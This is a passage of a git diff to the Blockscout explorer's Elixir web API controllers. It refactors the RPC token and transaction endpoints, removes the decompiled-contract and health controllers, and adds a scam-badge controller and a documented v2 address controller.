do key: nil, page_number: options_with_defaults.page_number, page_size: options_with_defaults.page_size - } + }, + api?: true ] - from_api = true - token_holders = Chain.fetch_token_holders_from_token_hash(address_hash, from_api, options) + token_holders = Chain.fetch_token_holders_from_token_hash(address_hash, options) render(conn, "gettokenholders.json", %{token_holders: token_holders}) else {:contractaddress_param, :error} -> @@ -50,6 +51,40 @@ defmodule BlockScoutWeb.API.RPC.TokenController do end end + if @bridged_tokens_enabled do + @api_true [api?: true] + def bridgedtokenlist(conn, params) do + import BlockScoutWeb.PagingHelper, + only: [ + chain_ids_filter_options: 1, + tokens_sorting: 1 + ] + + import BlockScoutWeb.Chain, + only: [ + paging_options: 1 + ] + + # credo:disable-for-lines:2 Credo.Check.Design.AliasUsage + bridged_tokens = + if Explorer.Chain.BridgedToken.enabled?() do + options = + params + |> paging_options() + |> Keyword.merge(chain_ids_filter_options(params)) + |> Keyword.merge(tokens_sorting(params)) + |> Keyword.merge(@api_true) + + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + "" |> Explorer.Chain.BridgedToken.list_top_bridged_tokens(options) + else + [] + end + + render(conn, "bridgedtokenlist.json", %{bridged_tokens: bridged_tokens}) + end + end + defp fetch_contractaddress(params) do {:contractaddress_param, Map.fetch(params, "contractaddress")} end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/transaction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/transaction_controller.ex index 8cf1e556199a..2042fa6d7740 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/transaction_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/transaction_controller.ex @@ -4,21 +4,22 @@ defmodule BlockScoutWeb.API.RPC.TransactionController do import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] alias Explorer.Chain - alias Explorer.Chain.Transaction + alias Explorer.Chain.{DenormalizationHelper, Transaction} + + @api_true [api?: true] def gettxinfo(conn, params) do - with {:txhash_param, {:ok, txhash_param}} <- fetch_txhash(params), + with {:txhash_param, {:ok, txhash_param}} <- fetch_transaction_hash(params), {:format, {:ok, transaction_hash}} <- to_transaction_hash(txhash_param), {:transaction, {:ok, %Transaction{revert_reason: revert_reason, error: error} = transaction}} <- transaction_from_hash(transaction_hash), paging_options <- paging_options(params) do - from_api = true - logs = Chain.transaction_to_logs(transaction_hash, from_api, paging_options) + logs = Chain.transaction_to_logs(transaction_hash, Keyword.merge(paging_options, @api_true)) {logs, next_page} = split_list_by_page(logs) transaction_updated = if (error == "Reverted" || error == "execution reverted") && !revert_reason do - %Transaction{transaction | revert_reason: Chain.fetch_tx_revert_reason(transaction)} + %Transaction{transaction | revert_reason: Chain.fetch_transaction_revert_reason(transaction)} else transaction end @@ -42,7 +43,7 @@ defmodule BlockScoutWeb.API.RPC.TransactionController do end def gettxreceiptstatus(conn, params) do - with {:txhash_param, {:ok, txhash_param}} <- fetch_txhash(params), + with {:txhash_param, {:ok, txhash_param}} <- fetch_transaction_hash(params), {:format, {:ok, transaction_hash}} <- to_transaction_hash(txhash_param) do status = to_transaction_status(transaction_hash) render(conn, :gettxreceiptstatus, %{status: status}) @@ -56,7 +57,7 @@ defmodule BlockScoutWeb.API.RPC.TransactionController do end def getstatus(conn, params) do - with {:txhash_param, {:ok, txhash_param}} <- fetch_txhash(params), + with {:txhash_param, {:ok, txhash_param}} <- fetch_transaction_hash(params), {:format, {:ok, transaction_hash}} <- to_transaction_hash(txhash_param) do error = to_transaction_error(transaction_hash) render(conn, :getstatus, %{error: error}) @@ -69,19 +70,19 @@ defmodule BlockScoutWeb.API.RPC.TransactionController do end end - defp fetch_txhash(params) do + defp fetch_transaction_hash(params) do {:txhash_param, Map.fetch(params, "txhash")} end defp transaction_from_hash(transaction_hash) do - case Chain.hash_to_transaction(transaction_hash, necessity_by_association: %{block: :required}) do + case Chain.hash_to_transaction(transaction_hash, DenormalizationHelper.extend_block_necessity([], :required)) do {:error, :not_found} -> {:transaction, :error} {:ok, transaction} -> {:transaction, {:ok, transaction}} end end defp to_transaction_hash(transaction_hash_string) do - {:format, Chain.string_to_transaction_hash(transaction_hash_string)} + {:format, Chain.string_to_full_hash(transaction_hash_string)} end defp to_transaction_status(transaction_hash) do diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/decompiled_smart_contract_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/decompiled_smart_contract_controller.ex deleted file mode 100644 index 653eb14c0a5c..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/decompiled_smart_contract_controller.ex +++ /dev/null @@ -1,69 +0,0 @@ -defmodule BlockScoutWeb.API.V1.DecompiledSmartContractController do - use BlockScoutWeb, :controller - - alias BlockScoutWeb.API.APILogger - alias Explorer.Chain - alias Explorer.Chain.Hash.Address - - def create(conn, params) do - APILogger.log(conn) - - if auth_token(conn) == actual_token() do - with {:ok, hash} <- validate_address_hash(params["address_hash"]), - :ok <- Chain.check_address_exists(hash), - {:contract, :not_found} <- - {:contract, Chain.check_decompiled_contract_exists(params["address_hash"], params["decompiler_version"])} do - case Chain.create_decompiled_smart_contract(params) do - {:ok, decompiled_smart_contract} -> - send_resp(conn, :created, encode(decompiled_smart_contract)) - - {:error, changeset} -> - errors = - changeset.errors - |> Enum.into(%{}, fn {field, {message, _}} -> - {field, message} - end) - - send_resp(conn, :unprocessable_entity, encode(errors)) - end - else - :invalid_address -> - send_resp(conn, :unprocessable_entity, encode(%{error: "address_hash is invalid"})) - - :not_found -> - send_resp(conn, :unprocessable_entity, encode(%{error: "address is not found"})) - - {:contract, :ok} -> - send_resp( - conn, - :unprocessable_entity, - encode(%{error: "decompiled code already exists for the decompiler version"}) - ) - end - else - send_resp(conn, :forbidden, "") - end - end - - defp validate_address_hash(address_hash) do - case Address.cast(address_hash) do - {:ok, hash} -> {:ok, hash} - :error -> :invalid_address - end - end - - defp auth_token(conn) do - case get_req_header(conn, "auth_token") do - [token] -> token - other -> other - end - end - - defp actual_token do - Application.get_env(:block_scout_web, :decompiled_smart_contract_token) - end - - defp encode(data) do - Jason.encode!(data) - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/gas_price_oracle_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/gas_price_oracle_controller.ex index 7b70b4b4276f..1c99dcb17136 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/gas_price_oracle_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/gas_price_oracle_controller.ex @@ -30,8 +30,8 @@ defmodule BlockScoutWeb.API.V1.GasPriceOracleController do |> send_resp(status, result) end - def result(gas_prices) do - gas_prices + defp result(gas_prices) do + %{slow: gas_prices[:slow][:price], average: gas_prices[:average][:price], fast: gas_prices[:fast][:price]} |> Jason.encode!() end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/health_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/health_controller.ex deleted file mode 100644 index 52352d55d4cc..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/health_controller.ex +++ /dev/null @@ -1,64 +0,0 @@ -defmodule BlockScoutWeb.API.V1.HealthController do - use BlockScoutWeb, :controller - - alias BlockScoutWeb.API.APILogger - alias Explorer.Chain - alias Timex.Duration - - def health(conn, _) do - APILogger.log(conn) - - with {:ok, number, timestamp} <- Chain.last_db_block_status(), - {:ok, cache_number, cache_timestamp} <- Chain.last_cache_block_status() do - send_resp(conn, :ok, result(number, timestamp, cache_number, cache_timestamp)) - else - status -> send_resp(conn, :internal_server_error, error(status)) - end - end - - def result(number, timestamp, cache_number, cache_timestamp) do - %{ - "healthy" => true, - "data" => %{ - "latest_block_number" => to_string(number), - "latest_block_inserted_at" => to_string(timestamp), - "cache_latest_block_number" => to_string(cache_number), - "cache_latest_block_inserted_at" => to_string(cache_timestamp) - } - } - |> Jason.encode!() - end - - def error({:error, :no_blocks}) do - %{ - "healthy" => false, - "error_code" => 5002, - "error_title" => "no blocks in db", - "error_description" => "There are no blocks in the DB" - } - |> Jason.encode!() - end - - def error({:error, number, timestamp}) do - healthy_blocks_period = Application.get_env(:explorer, :healthy_blocks_period) - - healthy_blocks_period_formatted = - healthy_blocks_period - |> Duration.from_milliseconds() - |> Duration.to_minutes() - |> trunc() - - %{ - "healthy" => false, - "error_code" => 5001, - "error_title" => "blocks fetching is stuck", - "error_description" => - "There are no new blocks in the DB for the last #{healthy_blocks_period_formatted} mins. Check the healthiness of Ethereum archive node or the Blockscout DB instance", - "data" => %{ - "latest_block_number" => to_string(number), - "latest_block_inserted_at" => to_string(timestamp) - } - } - |> Jason.encode!() - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/supply_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/supply_controller.ex index 869843a83292..6b3cf3edd6a2 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/supply_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/supply_controller.ex @@ -1,11 +1,9 @@ defmodule BlockScoutWeb.API.V1.SupplyController do use BlockScoutWeb, :controller - alias BlockScoutWeb.API.APILogger alias Explorer.Chain def supply(conn, _) do - APILogger.log(conn) total_supply = Chain.total_supply() circulating_supply = Chain.circulating_supply() diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/verified_smart_contract_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/verified_smart_contract_controller.ex index 65e670e8325f..6a93491f21eb 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/verified_smart_contract_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v1/verified_smart_contract_controller.ex @@ -1,17 +1,14 @@ defmodule BlockScoutWeb.API.V1.VerifiedSmartContractController do use BlockScoutWeb, :controller - alias BlockScoutWeb.API.APILogger - alias Explorer.Chain - alias Explorer.Chain.Hash.Address + alias Explorer.Chain.Hash.Address, as: AddressHash + alias Explorer.Chain.{Address, SmartContract} alias Explorer.SmartContract.Solidity.Publisher def create(conn, params) do - APILogger.log(conn) - with {:ok, hash} <- validate_address_hash(params["address_hash"]), - :ok <- Chain.check_address_exists(hash), - {:contract, :not_found} <- {:contract, Chain.check_verified_smart_contract_exists(hash)} do + :ok <- Address.check_address_exists(hash), + {:contract, :not_found} <- {:contract, SmartContract.check_verified_smart_contract_exists(hash)} do external_libraries = fetch_external_libraries(params) case Publisher.publish(hash, params, external_libraries) do @@ -44,7 +41,7 @@ defmodule BlockScoutWeb.API.V1.VerifiedSmartContractController do end defp validate_address_hash(address_hash) do - case Address.cast(address_hash) do + case AddressHash.cast(address_hash) do {:ok, hash} -> {:ok, hash} :error -> :invalid_address end @@ -55,7 +52,10 @@ defmodule BlockScoutWeb.API.V1.VerifiedSmartContractController do end defp fetch_external_libraries(params) do - keys = Enum.flat_map(1..10, fn i -> ["library#{i}_name", "library#{i}_address"] end) + keys = + Enum.flat_map(1..Application.get_env(:block_scout_web, :contract)[:verification_max_libraries], fn i -> + ["library#{i}_name", "library#{i}_address"] + end) Map.take(params, keys) end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/address_badge_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/address_badge_controller.ex new file mode 100644 index 000000000000..5a3d58d572ea --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/address_badge_controller.ex @@ -0,0 +1,90 @@ +defmodule BlockScoutWeb.API.V2.AddressBadgeController do + require Logger + use BlockScoutWeb, :controller + + alias Explorer.Chain + alias Explorer.Chain.Address.ScamBadgeToAddress + alias Plug.Conn + + @api_true [api?: true] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + def assign_badge_to_address( + conn, + %{ + "address_hashes" => address_hashes + } = params + ) + when is_list(address_hashes) do + with :ok <- check_sensitive_endpoint_api_key(params["api_key"]), + valid_address_hashes = filter_address_hashes(address_hashes), + {_num_of_inserted, badge_to_address_list} <- ScamBadgeToAddress.add(valid_address_hashes) do + conn + |> put_status(200) + |> render(:badge_to_address, %{ + badge_to_address_list: badge_to_address_list, + status: if(Enum.empty?(badge_to_address_list), do: "update skipped", else: "added") + }) + end + end + + def assign_badge_to_address(_, _), do: {:error, :not_found} + + def unassign_badge_from_address( + conn, + %{ + "address_hashes" => address_hashes + } = params + ) + when is_list(address_hashes) do + with :ok <- check_sensitive_endpoint_api_key(params["api_key"]), + valid_address_hashes = filter_address_hashes(address_hashes), + {_num_of_deleted, badge_to_address_list} <- ScamBadgeToAddress.delete(valid_address_hashes) do + conn + |> put_status(200) + |> render(:badge_to_address, %{ + badge_to_address_list: badge_to_address_list, + status: if(Enum.empty?(badge_to_address_list), do: "update skipped", else: "removed") + }) + end + end + + def unassign_badge_from_address(_, _), do: {:error, :not_found} + + def show_badge_addresses(conn, _) do + with {:ok, body, _conn} <- Conn.read_body(conn, []), + {:ok, %{"api_key" => provided_api_key}} <- Jason.decode(body), + :ok <- check_sensitive_endpoint_api_key(provided_api_key) do + badge_to_address_list = ScamBadgeToAddress.get(@api_true) + + conn + |> put_status(200) + |> render(:badge_to_address, %{ + badge_to_address_list: badge_to_address_list + }) + else + _ -> + {:error, :not_found} + end + end + + defp check_sensitive_endpoint_api_key(provided_api_key) do + with {:sensitive_endpoints_api_key, api_key} when not is_nil(api_key) <- + {:sensitive_endpoints_api_key, Application.get_env(:block_scout_web, :sensitive_endpoints_api_key)}, + {:api_key, ^api_key} <- {:api_key, provided_api_key} do + :ok + end + end + + defp filter_address_hashes(address_hashes) do + address_hashes + |> Enum.uniq() + |> Enum.filter(fn potential_address_hash -> + case Chain.string_to_address_hash(potential_address_hash) do + {:ok, _address_hash} -> true + _ -> false + end + end) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/address_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/address_controller.ex new file mode 100644 index 000000000000..cbeeb69e4f4b --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/address_controller.ex @@ -0,0 +1,1563 @@ +defmodule BlockScoutWeb.API.V2.AddressController do + use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + use Utils.RuntimeEnvHelper, chain_type: [:explorer, :chain_type] + use OpenApiSpex.ControllerSpecs + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 3, + next_page_params: 4, + token_transfers_next_page_params: 3, + paging_options: 1, + split_list_by_page: 1, + current_filter: 1, + paging_params_with_fiat_value: 1, + fetch_scam_token_toggle: 2 + ] + + import BlockScoutWeb.PagingHelper, + only: [ + addresses_sorting: 1, + token_transfers_types_options: 1, + address_transactions_sorting: 1, + nft_types_options: 1 + ] + + import Explorer.Helper, only: [safe_parse_non_negative_integer: 1] + + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens: 1, maybe_preload_ens_to_address: 1] + import Explorer.MicroserviceInterfaces.Metadata, only: [maybe_preload_metadata: 1] + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] + + alias BlockScoutWeb.AccessHelper + + alias BlockScoutWeb.API.V2.{ + BlockView, + Ethereum.DepositController, + Ethereum.DepositView, + TransactionView, + WithdrawalView + } + + alias BlockScoutWeb.Schemas.Helper, as: SchemasHelper + alias Explorer.{Chain, Market, PagingOptions} + alias Explorer.Chain.{Address, Beacon.Deposit, Hash, InternalTransaction, Transaction} + alias Explorer.Chain.Address.{CoinBalance, Counters} + + alias Explorer.Chain.Token.Instance + alias Explorer.SmartContract.Helper, as: SmartContractHelper + + alias BlockScoutWeb.API.V2.CeloView + alias Explorer.Chain.Celo.ElectionReward, as: CeloElectionReward + + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.ContractCode, as: ContractCodeOnDemand + alias Indexer.Fetcher.OnDemand.TokenBalance, as: TokenBalanceOnDemand + + case @chain_type do + :celo -> + @chain_type_transaction_necessity_by_association %{ + [gas_token: reputation_association()] => :optional + } + + _ -> + @chain_type_transaction_necessity_by_association %{} + end + + @transaction_necessity_by_association [ + necessity_by_association: + %{ + [created_contract_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional, + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + :block => :optional + } + |> Map.merge(@chain_type_transaction_necessity_by_association), + api?: true + ] + + @token_transfer_necessity_by_association [ + necessity_by_association: %{ + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + :block => :optional, + :transaction => :optional, + [token: reputation_association()] => :optional + }, + api?: true + ] + + @address_options [ + necessity_by_association: %{ + :names => :optional, + :scam_badge => :optional, + :signed_authorization => :optional, + :smart_contract => :optional, + [token: reputation_association()] => :optional + }, + api?: true + ] + + @nft_necessity_by_association [ + necessity_by_association: %{ + [token: reputation_association()] => :optional + } + ] + + @api_true [api?: true] + + @celo_election_rewards_options [ + necessity_by_association: %{ + [ + account_address: [ + :names, + :smart_contract, + proxy_implementations_association() + ] + ] => :optional, + [ + associated_account_address: [ + :names, + :smart_contract, + proxy_implementations_association() + ] + ] => :optional, + [epoch: [:end_processing_block]] => :optional + }, + api?: true + ] + + @token_preload_options [ + necessity_by_association: %{ + [token: reputation_association()] => :optional + } + ] + + @spec contract_address_preloads() :: [keyword()] + defp contract_address_preloads do + chain_type_associations = + case chain_type() do + :filecoin -> Address.contract_creation_transaction_with_from_address_associations() + _ -> Address.contract_creation_transaction_associations() + end + + [:smart_contract | chain_type_associations] + end + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + plug(OpenApiSpex.Plug.CastAndValidate, json_render_error_v2: true) + + tags ["addresses"] + + operation :address, + summary: "Retrieve detailed information about a specific address or contract", + description: + "Retrieves detailed information for a specific address, including balance, transaction count, and metadata.", + parameters: [address_hash_param() | base_params()], + responses: [ + ok: {"Detailed information about the specified address.", "application/json", Schemas.Address.Response}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Function to handle GET requests to `/api/v2/addresses/:address_hash_param` endpoint. + Returns 200 on any valid address_hash, even if the address is not found in the database. + """ + @spec address(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def address(conn, %{address_hash_param: address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, address} -> + fully_preloaded_address = + Address.maybe_preload_smart_contract_associations(address, contract_address_preloads(), @api_true) + + implementations = SmartContractHelper.pre_fetch_implementations(fully_preloaded_address) + + CoinBalanceOnDemand.trigger_fetch(ip, address) + ContractCodeOnDemand.trigger_fetch(ip, fully_preloaded_address) + + conn + |> put_status(200) + |> render(:address, %{ + address: + %Address{fully_preloaded_address | proxy_implementations: implementations} + |> maybe_preload_ens_to_address() + }) + + _ -> + address = + %Address{ + hash: address_hash, + names: [], + scam_badge: nil, + token: nil, + signed_authorization: nil, + smart_contract: nil + } + |> maybe_preload_ens_to_address() + + CoinBalanceOnDemand.trigger_fetch(ip, address) + ContractCodeOnDemand.trigger_fetch(ip, address) + + conn + |> put_status(200) + |> render(:address, %{address: address}) + end + end + end + + operation :counters, + summary: "Get activity count stats for a specific address", + description: + "Retrieves count statistics for an address, including transactions, token transfers, gas usage, and validations.", + parameters: [address_hash_param() | base_params()], + responses: [ + ok: {"Count statistics for the specified address", "application/json", Schemas.Address.Counters}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/counters` endpoint. + + ## Parameters + - conn: The connection struct (Plug.Conn.t()). + - params: A map of parameters. + + ## Returns + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the operation is successful. + """ + @spec counters(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def counters(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, address} -> + {validation_count} = Counters.address_counters(address, @api_true) + + transactions_from_db = address.transactions_count || 0 + token_transfers_from_db = address.token_transfers_count || 0 + address_gas_usage_from_db = address.gas_used || 0 + + json(conn, %{ + transactions_count: to_string(transactions_from_db), + token_transfers_count: to_string(token_transfers_from_db), + gas_usage_count: to_string(address_gas_usage_from_db), + validations_count: to_string(validation_count) + }) + + _ -> + json(conn, %{ + transactions_count: to_string(0), + token_transfers_count: to_string(0), + gas_usage_count: to_string(0), + validations_count: to_string(0) + }) + end + end + end + + operation :token_balances, + summary: "List all token balances held by a specific address", + description: + "Retrieves all token balances held by a specific address, including ERC-20, ERC-721, ERC-1155 and ERC-404 tokens.", + parameters: [address_hash_param() | base_params()], + responses: [ + ok: + {"All token balances for the specified address.", "application/json", + %Schema{title: "AddressTokenBalances", type: :array, items: Schemas.Address.TokenBalance}}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/token-balances` endpoint (retrieves the token balances for a given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the request parameters. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec token_balances(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def token_balances(conn, %{address_hash_param: address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, _address} -> + token_balances = + address_hash + |> Chain.fetch_last_token_balances( + @api_true + |> fetch_scam_token_toggle(conn) + |> Keyword.merge(@token_preload_options) + ) + + TokenBalanceOnDemand.trigger_fetch(ip, address_hash) + + conn + |> put_status(200) + |> render(:token_balances, %{token_balances: token_balances}) + + _ -> + conn + |> put_status(200) + |> render(:token_balances, %{token_balances: []}) + end + end + end + + operation :transactions, + summary: "List transactions involving a specific address with to-from filtering", + description: + "Retrieves transactions involving a specific address, with optional filtering for transactions sent from or to the address.", + parameters: + base_params() ++ + [ + address_hash_param(), + direction_filter_param(), + sort_param(["block_number", "value", "fee"]), + order_param() + ] ++ + define_paging_params([ + "block_number_nullable", + "index_nullable", + "inserted_at", + "hash", + "value", + "fee", + "items_count" + ]), + responses: [ + ok: + {"All transactions for the specified address.", "application/json", + paginated_response( + items: Schemas.Transaction, + next_page_params_example: %{ + "block_number" => 22_566_361, + "fee" => "19206937428000", + "hash" => "0xe38d616dade747097354b0731b5560f581536dacf22121feb4bb4a0b776018aa", + "index" => 103, + "inserted_at" => "2025-05-26T10:26:51.474448Z", + "items_count" => 50, + "value" => "24741049597737" + }, + title_prefix: "AddressTransactions" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/transactions` endpoint (retrieves transactions for a given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec transactions(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def transactions(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, _address} -> + options = + @transaction_necessity_by_association + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(current_filter(params)) + |> Keyword.merge(address_transactions_sorting(params)) + + results_plus_one = Transaction.address_to_transactions_without_rewards(address_hash, options, false) + {transactions, next_page} = split_list_by_page(results_plus_one) + + next_page_params = + next_page + |> next_page_params( + transactions, + params, + &Transaction.address_transactions_next_page_params/1 + ) + + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:transactions, %{ + transactions: transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + + _ -> + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:transactions, %{ + transactions: [], + next_page_params: nil + }) + end + end + end + + operation :token_transfers, + summary: "List token transfers involving a specific address with filtering options", + description: + "Retrieves token transfers involving a specific address, with optional filtering by token type, direction, and specific token.", + parameters: + base_params() ++ + [address_hash_param(), direction_filter_param(), token_type_param(), token_filter_param()] ++ + define_paging_params([ + "block_number", + "index", + "items_count", + "batch_log_index", + "batch_block_hash", + "batch_transaction_hash", + "index_in_batch" + ]), + responses: [ + ok: + {"All token transfers for the specified address.", "application/json", + paginated_response( + items: Schemas.TokenTransfer, + next_page_params_example: %{ + "block_number" => 12_345_678, + "index" => 0, + "items_count" => 50 + }, + title_prefix: "AddressTokenTransfers" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/token-transfers` endpoint (retrieves token transfers for a given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `{:not_found, {:error, :not_found}}` if token with provided address hash is not found. + - `Plug.Conn.t()` if the request is successful. + """ + @spec token_transfers(Plug.Conn.t(), map()) :: + {:format, :error} + | {:not_found, {:error, :not_found}} + | {:restricted_access, true} + | Plug.Conn.t() + def token_transfers(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params), + {:ok, token_address_hash} <- validate_optional_address_hash(params[:token], params), + token_address_exists <- (token_address_hash && Chain.check_token_exists(token_address_hash)) || :ok do + case {Chain.hash_to_address(address_hash, @address_options), token_address_exists} do + {{:ok, _address}, :ok} -> + paging_options = paging_options(params) + + options = + @token_transfer_necessity_by_association + |> Keyword.merge(paging_options) + |> Keyword.merge(current_filter(params)) + |> Keyword.merge(token_transfers_types_options(params)) + |> Keyword.merge(token_address_hash: token_address_hash) + |> fetch_scam_token_toggle(conn) + + results = + address_hash + |> Chain.address_hash_to_token_transfers_new(options) + |> Chain.flat_1155_batch_token_transfers() + |> Chain.paginate_1155_batch_token_transfers(paging_options) + + {token_transfers, next_page} = split_list_by_page(results) + + next_page_params = + next_page + |> token_transfers_next_page_params(token_transfers, params) + + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:token_transfers, %{ + token_transfers: + token_transfers |> Instance.preload_nft(@api_true) |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + + _ -> + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:token_transfers, %{ + token_transfers: [], + next_page_params: nil + }) + end + end + end + + operation :internal_transactions, + summary: "List all internal transactions involving a specific address", + description: + "Retrieves all internal transactions involving a specific address, with optional filtering for internal transactions sent from or to the address.", + parameters: + base_params() ++ + [address_hash_param(), direction_filter_param()] ++ + define_paging_params(["block_number", "index", "items_count", "transaction_index"]), + responses: [ + ok: + {"All internal transactions for the specified address.", "application/json", + paginated_response( + items: Schemas.InternalTransaction, + next_page_params_example: %{ + "block_number" => 22_530_770, + "index" => 8, + "items_count" => 50, + "transaction_index" => 8 + }, + title_prefix: "AddressInternalTransactions" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/internal-transactions` endpoint (retrieves internal transactions for a given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec internal_transactions(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def internal_transactions(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, _address} -> + full_options = + [ + necessity_by_association: %{ + [created_contract_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional, + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional + } + ] + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(current_filter(params)) + |> Keyword.merge(@api_true) + + results_plus_one = InternalTransaction.address_to_internal_transactions(address_hash, full_options) + {internal_transactions, next_page} = split_list_by_page(results_plus_one) + + next_page_params = + next_page |> next_page_params(internal_transactions, params) + + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:internal_transactions, %{ + internal_transactions: internal_transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + + _ -> + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:internal_transactions, %{ + internal_transactions: [], + next_page_params: nil + }) + end + end + end + + operation :logs, + summary: "List event logs emitted by or involving a specific address", + description: "Retrieves event logs emitted by or involving a specific address.", + parameters: + base_params() ++ + [address_hash_param(), topic_param()] ++ define_paging_params(["block_number", 